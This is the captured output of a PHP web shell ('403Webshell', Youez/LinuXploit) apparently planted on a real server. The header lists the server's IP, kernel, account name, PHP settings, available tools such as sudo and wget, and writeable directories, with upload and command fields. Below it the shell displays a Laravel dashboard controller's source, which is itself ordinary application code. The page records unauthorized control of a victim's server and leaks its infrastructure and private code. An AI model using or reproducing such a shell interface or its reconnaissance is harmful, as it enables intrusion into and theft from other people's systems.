403Webshell
Server IP : 138.197.107.151  /  Your IP : 216.73.217.7
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux BloxBy-Builder 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : wpbetasites_mrakzqskir ( 1022)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/silversharkdev/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/silversharkdev/app/Http/Controllers/DashboardController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\Website;
use App\Models\UserSetting;
use App\Helpers\EncryptionHelper;

class DashboardController extends Controller
{
    // Apply auth middleware so only logged-in users can access
    public function __construct()
    {
        $this->middleware('auth');
    }

    // Show dashboard page
    public function index()
    {

        ///echo $string = EncryptionHelper::secret_encrypt("telephone",env("WP_SSO_KEY"));

        //echo $string = EncryptionHelper::secret_decrypt($string,env("WP_SSO_KEY"));

        //die;
        $data = session('website_json');

        //$website = Website::where("user_id",  auth()->user()->id )->where("is_temp",1)->first();

        if($data){
           return redirect("/generate-site");
        }
        $websites_limit = 3;


        $setting = UserSetting::where("user_id",  auth()->user()->id)->first();

        if($setting){

            $websites_limit = $setting->websites_limit;
        }
        //->where("is_temp",0)

        $websites_count = Website::withTrashed()->where('user_id', auth()->id())->count();

        $websites = Website::withTrashed()->where('user_id', auth()->id())->orderBy("id","desc")->get();
    

        foreach($websites as $key => $website){

            $server_meta = json_decode($website->server_meta, true);

            $websites[$key]->size =null;

           /* if(is_array($server_meta)){
                $userDir = "/var/www/".$server_meta["folder"]."/".$server_meta["slug_environment"]."_".$server_meta["site"];

                $size = trim(shell_exec("du -sb " . escapeshellarg($userDir) . " | cut -f1"));

                $mb = $size / (1024 * 1024);

                $websites[$key]->size =$mb;
            }*/
           

        }
        /*$websites = [
             (object)[
                "id"=>2,
                "title"=>"Motherhood",
                "size"=>12,
                "server_meta" => json_encode([

                ]),
                "status"=>'completed',
                "active_plan_id"=>1,
                "plan"=>(object)[
                    "type"=>"Free",
                    "title"=>"Free"
                ],
                "path"=>"/",
                "is_cancellation_requested"=>1,
                "created_at"=>\Carbon\Carbon::createFromFormat("Y-m-d H:i:s",date("Y-m-d H:i:s")) 
            ]
        ];*/
        // You can pass data to the view if needed
        return view('dashboard', compact('websites', 'websites_limit','websites_count', 'setting'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit